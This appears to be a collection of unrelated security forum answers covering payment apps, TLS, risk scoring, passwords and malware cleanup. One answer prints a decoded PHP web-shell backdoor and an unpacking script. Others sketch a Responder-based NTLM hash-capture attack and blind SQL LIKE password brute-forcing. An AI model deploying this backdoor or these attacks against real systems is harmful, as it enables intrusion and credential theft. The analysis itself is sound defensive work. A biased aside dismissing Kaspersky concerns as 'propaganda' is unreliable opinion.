A similar situation seems to happen with Paypal. When asked to enter banking information it claims 'It's safe to share this information. Paypal doesn't save it'. But Paypal is clearly the intermediary between you and your bank and, it seems to me, would have to decrypt and re-encrpyt the password at least once. And since Paypal owns Venmo this could be a very similar method now.

From following the references at the Venmo Wikipedia Link (although they may be slightly dated) mentioned in the comments, I would be very hesitant to link a bank account or credit card to Venmo. Although having Paypal's fingers in my stuff doesn't feel much better.

Best practices for using Venmo seem to be to transfer a small amount into your Venmo account rather than linking your life savings to it.


Could someone recommend me a citable definition of honest but curious/semi-trusted?

I found a citable definition in "Modelling and Automatically Analysing Privacy
Properties for Honest-but-Curious Adversaries by Pavert" et al.

  The honest-but-curious (HBC) adversary is a legitimate participant in
  a communication protocol who will not deviate from the defined
  protocol but will attempt to learn all possible information from
  legitimately received messages.


User passwords printed on paperwork at a dental office?

If it is the password that you generated and that you use to access their portal, it is unacceptable that they know it. How do they know the password?
Did you provide it directly (verbally or otherwise) outside the sign-up process on the portal?
If not, this means that their portal database save users passwords in clear and they have full access to them, this, at least in EU,
can conflict with new privacy and electronic data processing rules: GDPR. I don't know what your nation is, but even if it were outside the European Union, I am sure that such behavior would violate some law.


It's from including a Google+ button. You're sort of right though - it's Google seeing if you have a Google+ account in order to let you share the page on Google+, or potentially show a different button if you've already shared it.

However, only Google gets to see the data.

The entire frame is generated by Google, including the positioning. It is placed off-screen in order to avoid messing up layout of the page.


default.php file found on the server, is this a security threat?

Yes, it's malicious.

This script has 20 layers of eval/deflate obfuscation, but eventually decodes to:

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit;

Ugly! Let's format that:

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);
if (isset($_GET['r']))
{
    print $_GET['r'];
}
elseif (isset($_POST['e']))
{
    eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));
}
elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary')
{
    $data = file_get_contents('php://input');
    if (strlen($data) > 0)
        print 'STATUS-IMPORT-OK';
    if (strlen($data) > 12)
    {
        $fp=@fopen('tmpfile','a');
        @flock($fp, LOCK_EX);
        @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n");
        @flock($fp, LOCK_UN);
        @fclose($fp);
    }
}
exit;

What have we here?

First, the r parameter seems to be an echo-back for the purposes of detecting that the script is working. The e parameter is used to do remote code execution, with base64 / rot13 obfuscation on the request, presumably to defeat minimal IDS / WAF rules. The final elseif clause is used for file uploads, whereby any binary file upload operation sent to that script will write the contents to a file called tmpfile. I'd assume they'd later use the e parameter to execute code that renames the file, probably for uploading a more functional shell or overwriting existing files.

A quick Google search for the eval line throws up a load of results about Wordpress installations being nailed with it, which were then used to distribute malware and pharma spam.

Ok, due to popular demand, here's how I decrypted it:

First, I replaced the eval with an echo, so it printed out the contents of the inflated data. This gave me another payload that looked exactly the same, except the base64 string was different. After doing the eval / echo switch again a few times, I kept getting the same result - another eval, gzinflate, base64_decode chain with different base64. At this point I wasn't willing to sit there and manually do it, because that would be a pain if there were a large number of layers. I came up with an automated way to unpack it.

I wrapped the initial payload into a string, then used a while loop to iteratively undo layers of protection. The loop condition checks that the decryption chain is at the start of the code string, and if not it leaves the loop and displays the code. This has two functions: first, if the code is only obfuscated by that chain, it'll give us the real code. Second: if a different obfuscation technique is switched to later on, it'll stop and return that code instead of breaking it.

// our initial payload in a string
$code = 'eval(gzinflate(base64_decode("DZVFrsUIggTv .. <snip> .. JCvwNv77n3///ff//h8=")));';

$layers = 0;

// loop while the code string starts with the eval / gzinflate / base64_decode chain
while(strpos($code, 'eval(gzinflate(base64_decode') === 0)
{
  // replace the eval with a return, so that our eval dumps
  // the result of the operation rather than executing it
  $code = str_replace('eval(gz', 'return (gz', $code);

  // the return now causes the result of gzinflate to be
  // placed back into the $code variable.
  $code = eval($code);

  // keep a count of the number of layers we removed
  $layers++;
}

// no longer have a eval/gzinflate/base64_decode chain at
// the start of the code, so print out the result.
echo "Unwrapped {$layers} layers of obfuscation...\n\n";
echo "{$code}\n";

The results:

Unwrapped 21 layers of obfuscation...

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit;

If you want to see the verbose output with all layers printed, I've put it on Pastebin.


Is it safe to encrypt some data which contains a uuid while also sending the uuid as metadata?

You are essentially asking if a known plain text makes it easier to decrypt data. Of course a known plain text makes it theoretically possible to try all possible keys for decryption (i.e. brute force attack) and check if the result matches the known expectation. But this is not feasible if the key space is large enough. Apart from that it depends on the exact (but in your case unknown) encryption algorithm, i.e. if this vulnerable to known plaintext attacks or resistant to such attacks.

Apart from that: since you only want to make sure that the combination of "client" and "version" is only used once you could also combine these values and hash the result with SHA-256 or similar. This way you get a unique value for each combination of "client" and "version" but the value is not reversible and thus you don't face the problem that you encrypt data known to some attacker. There is still some known plain text though due to the structure of the message (starts with "{" etc). And even if the encryption algorithm you use is resistant to known plaintext attacks (modern algorithms usually are) it might be worth to hide the "client" and "version" this way.


Is it reasonably possible to enable vulnerabilities via gadget chains?

However, let's say your json deserializaer (or whatever) is securely configured. Is it possible to create gadget chains which re-configure jackson at runtime to be insecurely configured?

The presumption in your question here is that the vulnerability in Jackson (or whatever) would be merely a matter of poor configuration. Usually, such vulnerabilities are not the result of configuration, but because of code that does the wrong thing. Typically that involves patching the code so it never does the wrong thing.

When we keep that in mind, your general question is clearly revealed to be self contradictory:

  More generally, is it reasonably possible to take any specific vulnerability which has been patched but develop a gadget chain to enable it?

If the vulnerability can be trivially enabled in some way, then that merely reveals that it wasn’t properly patched to begin with.


The video @schroeder linked too is great. Maybe you need a simpler explanation though.

Data execution prevention is software or hardware that monitors the location of executable code in memory. It is useful because if you ran malicious code from a part of memory reserved for trusted programs, it would be harder to detect. Windows keeps track of memory to prevent that from happening, so in most cases it is the data execution prevention.

Return Oriented Programming is exploiting a trusted program to execute malicious code from memory in order to evade the data execution prevention in Windows or whatever OS you use.

Windows will say some parts of memory are only for non executable code, which means the code there will not be treated as instructions by the processor. ROP uses the Windows API to make the section of memory with the malicious code executable, so it will be ran by the processor.


Is broadcasting your Windows computer name a vulnerability?

The user identifiable information is a sensitive topic and if you feel their transport method isn't good enough (lack of encryption) you can raise this to the provider or stop reporting (firewall rules for example).

I dont see sending the computer name or IP address as sensitive information, but the other details that you mention would worry me a little.

My advice is to bring this up to the provider.


How to Man-in-the-middle a whole network?

There are various attacks you can demonstrate in the local network to make your point clear. You can do the classics like ARP-Spoffing, a rogue DHCP-Server or macflooding. Macflooding will cause the switch either to go into fail-open mode which basicly turns it into a hub or in fail-off which turns your MITM attempet into a DOS attack so it's kind of a risky thing to do.

In my experience in a windows network NBNS/LLMNR-Spoofing in combination with WPAD Redirection and force NTLM-Authentification is very effective (sadly it doesnt have anything to do with the switch/router but I think buissnes guy doens't know that...). There is a pretty great implementation of this attack in a tool called Responder. You can bringt internet explorer users send you their NTML hashes so the only thing you have to do is collect them, crack them or pth them. I consider the key to his account might be what he calles "useful data"...


Are PCI DSS standard requirements regarding TLS applicable only to customer facing webs or to whole even internal networks?

As far as I know internal SSL is also required. CC data needs to be encrypted in transit, and that includes both public and private networks. Depending what your apps connect to it it also means connections from applications to the DB/messaging systems/you name it... and also if you use an CDN/SSL accelerator like Akamai, the SSL accelerator shouldn't see the plain CC details, unless they are PCI Certified themselves on the services you use AND you need to have evidence they are certified (aka a signed document, which usually costs a pile of money, saying they are certified).

Reference: Talks with a QSAs.


Is it possible to get PHP variables using XSS via GET request?

Depending on the PHP script on the other site this might be possible, for example if the message is processed by PHP to explicitly retrieve the content of variables based on the content of the message. But there is no general way which works against an arbitrary PHP script. And in any case this would not be called XSS since XSS is used to describe the injection of script on the client side (browser) which is not the case here.


Does Antivirus upload malware samples from infected computers?

Kaspersky does not upload personal files by default
Kaspersky will upload possible viruses for analysis only if YOU specify that

Since it is unclear what version you refer to, I'll give you a general example:

Options for this are very well controllable. Even on older versions (like KAV 2013), if you open the application settings window, in the left part of the window, you can select the Advanced Settings section. In the Operating mode section, you can click the Settings button and the Operating mode window opens. There, you can select the Enable dump writing check box to enable the application to write application dump files. You can then select the Send dump and trace files to Kaspersky Lab check box or choose to clear the Send dump and trace files to Kaspersky Lab check box.

If the file is not actually found to be infected but you still consider it suspect, you can upload it manually for analysis using VirusDesk ( https://virusdesk.kaspersky.com ).

In the current versions of Kaspersky Security Center, you also have the clear option (Under Advanced --> Application management): I agree (or not) to participate in Kaspersky Security Network.

As for propaganda like "Russian hackers exploited vulnerabilities in the antivirus program to breach an NSA contractor’s computer in 2015 and steal classified files" it's totally irrelevant. Some big corporations wanted some revenge because Kaspersky was the only anti-virus that disclosed what some big manufacturers were doing to potentially or directly (i.e. seagate) spy anyone using their components. That's why all the fuss in the US against Kaspersky.

I've been using various anti-virus solutions since the MS-DOS era and I can say hands down that currently Kaspersky is one of the best AV solutions up there, even no.1 at this moment.

Note that What I considered the best AV varied a lot every few years, because some AV companies improved a lot while others made bad choices. My view on this was always impartial.


OCSP stapling is an extension to the TLS protocol which is defined in RFC 6066 and extended in RFC 6961. The client announces support OCSP stapling to the server during the TLS handshake and if the server has a OCSP response for stapling it will be send as CertificateStatus with the TLS handshake.

It does not matter who fills the role of client and server: The server might be a web server supporting TLS and the client might be a web browser as in your question. Or the server might be a mail server supporting TLS and the client a mail client. Or the server might be Bob and the client Alice, speaking their own protocol protected by TLS. All it matters is that both sides use TLS for communication and that the client requests OCSP stapling and the server provides the OCSP response within CertificateStatus.


Code injection in files with 0644 permissions

what do you mean by "injected"; is the iframe within the file itself or just in the answer by your webserver?

if the former, attacks seem to have access to the server and are able to alter files -> your server is compromised

if the later, the attacker probably installed a kernel-based rootkit that injects this iframe into server-answers -> your server is rooted and compromised


Hello Request TLS Handshake Message in Session ID based Session Resumption

Wireshark Bug.
I think this is bad output in WireShark.
Because anything after "Change Cipher Spec" is encrypted.
I think it is a bug in Wireshark that still tries to parse the encrypted bytes as unencrypted and then outputs garbage.
Add the private key to WireShark and try again.
See:

https://wiki.wireshark.org/SSL
https://jimshaver.net/2015/02/11/decrypting-tls-browser-traffic-with-wireshark-the-easy-way/


There are many possible causes for such an issue. here are the most likely:

You have a badly designed form script on one of your web server. It us being abused by spammers to send their messages. Note that the problematic script could be on a different server: check your logs to see where the messages come from.
One (or more) of your users account have been compromised and is being used to relay spam. In this case, you should disable the problematic user, force a password reset and contact the responsible person with the bad news. Usually, you will know it's an account compromise because it is being logged on from unknown IPs when sending spam. You might want to enforce password complexity on all your mail users and, if you do not have it already, setup the system to automatically lock SMTP accounts after a number of failures (5 to 10 are often enough without being too punishing on your users).
Your SMTP server is improperly configured and it allows relay under specific conditions. Check the configuration manual of your mail software to see how you can prevent that. Typically, you will detect this situation my going through the SMTP logs directly. If you're allowing relay from a set list of IPs, it could also be an indication that one of these machines has been compromised.


Does removing features from a library increase or reduce security risks?

In this case I would consider the custom binary (if any) to be safer, due to the smaller surface of attack.

The main problem I would worry about "removing code" would be unintended side-effects, particularly when the code is being removed by a third party, not too familiar with the project.

In this case, these are conditional flags officially supported by upstream. And despite the large number of flags, they look sensible, encapsulating one feature each.

I don't think your statement that "compiler condition syntax is far unsafer than its runtime counterpart" is relevant here.

  building a custom binary might expose the users to targetted attacks, but using a standard build might expose the users to mass exploits

Using a standard build you would still be exposed to targetted attacks, in addition to mass exploits. The disadvantage would be that your custom build could somehow be vulnerable although the normal build was not, perhaps because the specific combination used was unsafe (e.g. suppose that it let you remove an check that was necessary), this would still be a bug in the code, since these are options offered by upstream.

Or perhaps because there was a vulnerability, but some of the other cruft made it non-exploitable (or hard to exploit), and removing a piece of code you made yourself vulnerable to it (for example, a buffer overflow could be overwriting an unused buffer in the standard binary, but overwriting the stack in your build).

However, it could as well be the opposite case that your build ends up being safe with the standard one unsafe. Those would mostly even out, so I would consider the smaller surface to "win" in general.

A different issue, which I think is more important, is maintainability. So you are now designing a new (IoT?)  system, and are deciding whether to use a custom build of busybox or using a prebuilt binary (I am leaving aside the potential issues of trusting the provided binary). Should you use a custom build, would that make it harder to update later, compared with copying a standard release? The main risk will come from future vulnerabilities not being patched in your release. If using a custom build will lead to the program not being updated in three years, but every quarter if using upstream binaries, the later would be much safer. (Sadly, the real world answer often is that the binaries will never be updated, in either way)


How to estimate threat and risk associated with that threat and not only vulnerability severity?

Quantifying based on the formula
There is a massive misunderstanding in risk in general, and you are running into this misunderstanding.
That's not a formula!
Risk = Threat x Vulnerability x Information Value describes a relationship between those factors. You are not supposed to drop numbers in there and come out with a quantitative result.
Note that there are other risk assessment "formulas", and your example is just one. Every assessment model has a place and is used in different contexts. They can also assess different kinds of risk. There are Inherent Risk and Residual Risk assessment models.
Scoring vulnerabilities
As for your example of two vulns with a CVSS score of 7.0, but they are in different risk contexts: the answer is that the scoring of the risks are different because they are in different contexts. The different contexts also likely mean that the threats are different, too. The vulnerability is not a risk in and of itself. The vulnerability can be assessed and scored independently of the risks. That's why there is a separate risk assessment process.
Many infosec professionals equate and confuse "vulnerability" with "risk", and will often swap one term with the other. But they are different ideas and the assessment model highlights that.
Where's Probability in the formula?
Risk = Threat x Vulnerability x Information Value does not include any notion of probabilities/likelihoods. Probabilities are replaced by "threats" as it can be difficult to quantify probabilities of loss in information security. Quantifying threats is much easier and repeatable. So, likelihood gets rolled into the "threat" factor.
Estimating Threat
Threats are independent of vulnerabilities and impacts. Flooding is a threat, but if I live on a mountaintop, my vulnerability to flooding is really low and so is the impact. If I lived in a submarine, my vulnerability to flooding is high and so is the potential impact. So, you need to assess threats in context.
One way to do that is to assess the threat in relation to different impacts and segment the threats:

What is the threat of rain causing interior water damage on the walls?
What is the threat of rain causing an inch of water on the floor?
What is the threat of rain filling a room with water?
What is the threat of rain washing the house away?

By segmenting the threats, you can assess your risks with more sophistication and treat the different scenarios differently and more efficiently.


Chain of trust incomplete and Server Cipher order not set

What is not clear for me is the security, so what threat is posed by an incomplete chain of trust?

Many browsers will work around such incomplete trust chain, i.e. fill in the missing intermediate certificate from other sources. This is typically done by using locally cached certificates or using the CA Issuers part of the Authority Information Access extension in the certificate to download the missing CA certificate.

But apart from the desktop browsers these workarounds are usually not done. This means that mobile applications, mobile browsers or standalone desktop applications or scripts will fail to validate the certificate which usually results in failing to access the site. In this case it would only be an availability issue. Some developers though then "fix" the problem by simply switching off certificate validation - in which case the availability problem turns into a security problem since now arbitrary certificates are accepted for the site and MITM attacks get undetected.

  Server Cipher order is not set

My guess is that it means that the server will adhere to the clients preference of ciphers instead of having its own preference which ciphers are best. As long as the server only supports secure ciphers this is not a problem at all since the  final cipher will still be secure. In fact, it can be perfectly ok to adhere to the clients preference. One example is where the client has no hardware backed AES implementation and thus might prefer ciphers using ChaCha20 which have efficient software-only implementations. The server might agree to this preference in order to take load from the client - see this blog from Cloudflare for more.


Kerberos - obtaining the krbtgt's secret in order to perform Golden Ticket attack

Theoretically? Sure. It's just a brute force attack.
Practically? No, probably not. It's a brute force attack against a key derived from a randomly generated password that ends up being a hundred plus characters long in the easy case, or a randomly generated key that's 16-32 bytes long.


Is a self-signed SHA-1 certificate sufficient security for a company transmitting sensitive data?

Use of SHA-1 is irrelevant here.

The problem with a self-signed certificate is that there is no way for anybody to verify that the certificate is the correct one or not; this is exactly what the client warnings mean. When one of your staff sees the warning, and he clicks through to connect nonetheless, then that user could be connecting to a fake VPN server, ran by an attacker, who could then forward the data to the true server but also inspect it as it goes: a classical Man-in-the-Middle attack.

One may even say that with the self-signed certificate, you are training your staff to disregard warning messages, so, in all generality, you have lowered your security.

One way to fix the problem is to install the VPN certificate as "trusted", explicitly, in each client machine. This means that you instruct the client machine to accept that exact certificate as the right one. The Cisco documentation should tell you how to do it.

Another method is to have the ISP buy and install a certificate obtained from one of the "commercial CA" that existing machines already trust; this is the same kind of certificate as what you need for an https:// Web site that does not insult its users. This is traditionally known as an "SSL certificate" and you can have one for a few dollars per year (even for free with some CA).


Replacing files with infected files on anonymous ftp server

It is possible,  if your server accepts files uploaded by an anonymous user and if you don't provide a hash (e.g. SHA-256, SHA-512,...) in order to check that cred.gpg actually contains passwords.pdf and not evilfile.pdf.


Several different factors might influence LastPass state:

Automatic logging out is a feature of LastPass that is intended to protect user passwords.

The idea being that a computer left without attention for a long time might indicate it was compromised. As LastPass has no other way of telling who is using the computer, it checks asking for password (which by definition is known only by the right person).

Depending on other protection mechanisms that user employs (for example physical protection), users can alter the time after which they are logged out in LastPass' Preferences. For Chrome the options are:

Automatically Log out when all browsers are closed and Chrome has been closed for (mins)
Automatically Log out after idle (mins)

These settings might be set differently for different machines (like having a large timeout on a desktop computer kept inside your home and a short one on a laptop you take to a cafeteria).
Cleaning cookies on a browser might cause LastPass to log out, as explained here. You could observe a conflict with other plugins (so you should try troubleshooting by disabling all Chrome extensions except LastPass)
LastPass has an option to keep browser logon state kept synced across different browsers (Preferences -> Advanced -> Share login state between other browsers) which might influence the experience. Particularly if one browser experienced problems and got logged out, it might force logging out other browsers.
Lastly you might experience a technical issue that qualifies for contacting LastPass' support as explained here: LastPass logs off almost immediately after I login?


Microsoft Word protected view - is it secure enough to protect users?

No. It is still possible to get a virus via MS Word. If the virus utilisies an exploit kit, it auto-executes without any user interation. If it is a macro virus depending on the level of security, the user, assuming macro security is enabled, will either have to click 'enable' in a pop-up or won't be able to activate any macro. So it isn't impossible to get a virus via MS Word, although it isn't too likely. But still take precautions.


How to prove that authentication system works, and that the customer is using the wrong password?

There's not a really quick way to prove this because the hash is designed not to be reversible.

You could take their claimed password, and manually generate the hash as @TechTreeDev suggested. You should be using a salted hash (i.e. BCrypt) so make sure you use the same salt.

If the manually generated hash matches, then you've proved an issue in the login code.
More likely the generated hash will be different, then you've ruled out login code issues, but there still could be an issue with the password setup, or a mistake in your manual generation.

That's pretty much the extent of what you can do to check a single person's password. Beyond that we get into system testing.

If you suspect an intermittent/random chance edge case, you could create a monkey test script to set up passwords and then try them. This approach is probably overkill though.
The best thing is to review your login code and all points that reset the password. The code should be as short and concise as possible. In my experience, the best way to rule out edge case issues is with code review, as such edge cases are often not covered by manual testing.

A few things to specifically look for:

Make sure that maxlength setting is consistent (or better yet, not present) on any password <input>s. You are looking for consistency between password set up and the login form.
Make sure there is no server-side truncation.
Make sure that encoding is consistent. If a non-ASCII character is used in the password, the password setup form and login forms need to behave exactly the same.
Also don't automatically strip anything like whitespace or non-ASCII characters from the password. This is the kind of thing you can easily catch with a code review if your code is concise.

Finally some human tips:

Verify they are using the correct username first.
Check the caps lock setting is correct.
Give the customer support folks a log of every date/time of login or of password reset. If there has been at least one login since the last reset then they know the system worked correctly.

As long as the login code is unchanged, and the hash is unchanged since last success, then you can be reasonably certain that the issue must be a mis-typed password.
Review the UX of the Wrong Password error, providing the user with some simple tips and authoritative explanation of possibilities. This may reduce call-ins to customer service.
It may be helpful to email notify the customer when a password is reset to remind them. (or other family member in case of shared accounts)


As Wikipedia says, in its infinite wisdom, "idem" is a Latin word and means "the same":

  Id. (masculine and neuter) and ead. (feminine) (Latin, short for idem and eadem, "the same") are the terms used to denote the previously cited source

In this case, this means that the list of cipher suites for TLS 1.0 is strictly identical to the list for SSL 3.0, so it is not repeated in the tool output.


Why is some meta data not encrypted in Proton Mail?

Proton Mail uses an encryption format called OpenPGP. It is only designed to encrypt the message. Unless the subject is put in the message and the subject field is left blank, the subject will be kept unencrypted. The e-mail sender and receiver fields, on the other hand, need to be unencrypted for proper routing to occur. This is all a limitation in the design of e-mail, a default unencrypted system.


Does replacing a bcrypt hash with an invalid hash result in no possible working password?

In terms of disallowing legitimate login attempts, it's fine. Unless you're using a very weird hash function, there won't be any values which map to -, and it prevents brute force attacks against the missing values if the database is stolen too, which is a positive (they were unlikely, given the use of bcrypt, but this applies even if the implementation is using a terrible method for storing passwords - pretty much anything other than plain text).

In terms of downsides, if the database is taken, it slightly decreases the security of other accounts - the attacker has fewer records to brute force. If they are paying attention, they should probably remove the records which are marked as inactive, but still. I did say "slightly"...

The other risks could be if there are any methods for access which allow bypassing the hash method for comparison (e.g. you have a legacy method which allows supplying the full hash for some reason) - in that case, if you aren't checking the active status carefully, it might allow access by supplying a dash. Ideally, remove this access method, if this is the case.


How to prevent serious browser hijackers like this?

I assume that you have checked in Task Manager for any unexpected applications and terminated them? Assuming Windows 10, also check the Start-up tab of task manager and remove any suspicious entries.

You also need to remove the unwanted addons/extensions that the malware has added to Chrome and you need to reset Chrome's search engine back to a more sensible default.

It is possible that this is enough. However, it is hard to then trust the PC after an infection so a wipe/rebuild may still be wanted.

Alternatively, you could try to restore back to a previous restore point in Windows. Less to reinstall then.

UPDATE: You might need to check whether your BIOS/UEFI has been compromised too. If you clean the machine and the problems come back, this might be the problem. This is rather harder. You can download a dump of your BIOS and upload to VirusTotal or you could try a tool like Milano.

An anti-virus boot disk/usb-drive can also be very helpful when dealing with more persistent malware. It lets you boot from a known clean OS. Just make sure you get a device that can be physically set to read-only before booting from it.


Formal functional relationship between risk and CVSS

The methodology used by OpenVAS security scanner to give a global CVSS score to a host is to take the highest CVSS score in all vulnerabilities discovered.
This means a host with five CVSS=2 will have a final CVSS score of 2 for OpenVAS, and the other one with two CVSS=10 will have a final CVSS score of 10.

Strictly speaking of the function risk(CVSS)=..., on my opinion I would say it would be close to exponential.

Let's imagine someone scanning a whole range of random IP addresses for vulnerabilities to exploit to constitute his botnet. He will only focus on high CVSS, not to spend much time on each host.

Now imagine someone scanning 2 of your public IP addresses to target you specifically. If he discovers one has a potential vulnerability with a CVSS of 10 and the other one only CVSS of 2, he will try to compromise the weakest one, not spending much time on the other one.

Moreover, CVSS 2 vulnerabilities does not allow someone to take full control of your server, so they will probably be used only by a determined attacker needing to gather information about your systems.


Is there a protocol that provides data integrity, but not encryption for HTTP?

SSL/TLS before 1.3 has some 'with-NULL' cipher suites that provide NO confidentiality, only authentication and integrity; see e.g. rfc5246 app C and rfc4492 sec 6 or just the registry. These do the usual handshake, authenticating the server identity using a certificate and optionally also the client identity, and deriving session/working keys which are used to HMAC the subsequent data (in both directions, not only from the server) but not to encrypt it. This prevents modification, or replay, but allows anyone on the channel/network to read it.
These cipher suites are very rarely used, and always (to the best of my knowledge) disabled by default. (In OpenSSL, they not only aren't included in DEFAULT but not even in the otherwise complete set ALL -- to get them you must specify (an) explicit suite(s), the set eNULL aka NULL, or the set COMPLEMENTOFALL, which last grates horribly to any mathematician!) I very much doubt you'll ever get any browser to use them, and probably not most apps or even many packaged servers. But if you control the apps at both ends of an HTTPS connection -- or perhaps proxies for the apps -- this does meet your apparent requirement.
TLS 1.3 changes how cipher suites are used, and no longer has this functionality. As time goes on, 1.3 will become more widespread, and it is likely 1.2 and 1.1 will be dropped in the foreseeable future. (1.0 already has been dropped many places, though not all. SSL3 is badly broken by POODLE, and dropped essentially everywhere.)
Belatedly found dupe, from before 1.3: Can TLS provide integrity/authentication without confidentiality


Will resize of an image execute the file?

Unless you have a bug in your image handling tools code the image gets only read and no code executed which might reside somewhere in the image. But note that in the past there were bugs in image handling code which lead to code execution, for example this bug in libjpeg.  Thus to be on the safer side you should do your image manipulation within a restricted environment like some kind of sandbox.


Protect against virus and malware attacks from website ads with iptables

If you have your system set up so that only connections to your bank (eg. www.bank.com and www.bankcompany.net IP addresses) were possible, a redirect to a third site wouldn't load. The exploit would need to be hosted on the same site as your bank (which is admittedly rare).

As with many security solutions, it's possible that some bank update makes the website not to work until you unblock some other hosts.


How does "Unlock your Mac with Apple Watch" work? What should I consider in the Enterprise?

From Apple's support article on the topic, it appears that prior to being allowed to enable this setting, the user must have 2FA enabled. From the same page, a user must be signed into iCloud on both devices. So yes - that's a requirement. As an enterprise admin, if your users are using the watch unlock feature, then you can assume that they have 2FA enabled.
Quoting from this other answer, your Mac calculates the distance of your watch from it, after pairing with it over Bluetooth. In more detail:

The 802.11v timestamp has been proposed to be used as a “time of flight” calculation all the back since 2008. Apple has decided to use Time of Flight as a security mechanism for the Watch Unlock feature. Rather than just assume that the Watch is in range because it’s communicating over Bluetooth, Apple wanted to increase the security of the Watch/Mac connection. When the Mac detects that the Watch is within 3 meters of the Mac it is connected to via Handoff it is in the right range to trigger an unlock.
When the Watch sends a Bluetooth signal to trigger the unlock, the Mac sends an additional 802.11v request to the watch via wireless. This request is then timed for arrival. Since the Mac knows the watch has to be within 3 meters, the timestamp on the packet has a very tight tolerance for delay. If the delay is within the acceptable parameters, the Watch unlock request is approved and your Mac is unlocked. If there is more than the acceptable deviation, such as when used via a Bluetooth repeater or some other kind of nefarious mechanism, the unlock request will fail because the system realizes the Watch is outside the “safe” zone for unlocking the Mac.
Source


What is the most likely reason Netflix has a password length limit?

I think of Netflix as a technically savvy company, so was surprised to see that they have a password length restriction (60 characters).
I assume there's a legacy reason for this. What might it be?

Some of the reasons in the Q&A: "Why restrict the length of a password?" on StackOverflow are:

An attempt to save storage space. (Source)

The front-end intgrates with some old legacy system that does not handle more than a given number of characters. (Source)

A case-insensitive 10 character alphanumeric password has 839,299,365,868,340,224 possible permutations. (Source)

That's all the space they have in their database to store your password. (Source)

The algorithm they use for encryption doesn't work well with large passwords. (Source)

They are storing your password as plain text and are trying to save space, but it might also be to try and stop people making their passwords really long and then forgetting them. (Source)

Not every answer there was listed above, see the link for other guesses.
Another explanation on StackOverflow Q&A: "Password max length with bcrypt, blowfish" is:

"BCrypt will work with much longer passwords, though only 72 characters are used. You would have no advantage at all, but theoretically you would hinder people with password managers using longer passwords.". (Source) Also refer to this StackOverflow Q&A: "Best Practices: Salting & peppering passwords?".

Any of those reasons sound likely. Netflix is unlikely to discuss how their user's passwords are secured but the limit is long enough for security, just inconvenient if you have a longer password.
Researchers have tested various websites, one of many articles is: "Netflix and Walmart online sites have one thing in common: bad password rules, study shows". Some places simply have poor policies. There are limits to the value of what is being protected.


You are suposed to bruteforce the password using the following algorithm:

SELECT  * FROM users where username = "admin" AND password LIKE "A%"; #INCORRECT

SELECT  * FROM users where username = "admin" AND password LIKE "B%"; #INCORRECT

SELECT  * FROM users where username = "admin" AND password LIKE "C%"; #CORRECT

SELECT  * FROM users where username = "admin" AND password LIKE "CA%"; #INCORRECT

SELECT  * FROM users where username = "admin" AND password LIKE "CB%"; #INCORRECT

SELECT  * FROM users where username = "admin" AND password LIKE "CC%"; #CORRECT

And so on. You can write a simple python program that does that automatically :)


Recommendations on minimal alternatives to openssh

I would keep using openssh
Assuming a 'normal' server, with no resources problem but only about concerned about the security benefits, I would keep using openssh.

It has an excellent security record.

While the list of CVE is a long one, analysis shows those are -particularly for one-user servers- actually relatively minor. Those not covering DDoS mostly go along if system is configured in a specific way, an authenticated user could bypass certain setting, which may be unintended.
For a vulnerability suitable to an attacker, we would probably would need to go back 14 years, to CVE-2006-5051. And even that doesn't show a clear exploitation path.

Hardening features like the mentioned privilege separation

Well known and reviewed. Being so widespread, it has been very scrutinized. You can be sure any security issue that was missed will be promptly fixed when reported.

Distribution support. openssh is packaged on every distribution. The other two are available in some of them, but not in others. Even then, you can expect they would quickly patch an openssh vulnerability, which may not be so fast for less common packages. Of course, you may as well install your sshd directly from upstream (and it would provide you the latest version), but there's benefit on using packaged versions if you don't want to be separately watching new sshd releases.

Note that you can restrict openssh features (only PublicKey authentication, just certain algorigtms, etc.) so that you reduce the attack surface available to an attacker.

That said, I don't think using any of the other would be insecure, and wanting to .
PS: For your use case I don't think there's an issue with the /etc/tinysshd/sshkeys.d keys.


What are the security risks in leaving 'sudo' inside my production code?

The security risks are in the sudoers file.

if the sudoers file restricts the users to only safe operations  and is either passwordless or requires a password every time. there is no danger.

This means that the actions performed under sudo must be safe and free from exploits like shell injection, alias or path attacks, and buffer-overun.

Where practical instead grant group permissions to the users. Eg. group "dialout" for serial ports. group "lp" for parallel ports, "audio" for sound devices, "adm" if you need to read the logs, etc.


My understanding is also that any certificate issued by a CA will automatically have the same hash algorithm and bits as the root CA

This is incorrect. A CA certificate can issue certificates with different signature algorithm than its own.

A Root certificate is trusted because of its presence in the browser's root certificate store, rather than by its signature. The root's signature is not used for anything, except perhaps as a convenient way to talk about the certificate during initial validation of the root certificate for inclusion in the browser root store. Root Certificates with weak signature that has been included in the root store for years are more trustworthy than ones that had just been included recently, as there are more time for the CA, browser developer, and the public to notice if something is off with the root certificate shipped in the browser.


Execute cmd commands with http directory traversal attack

In MS00-078 it was possible to path traverse and run arbitrary command simply by issuing malformed GET request such

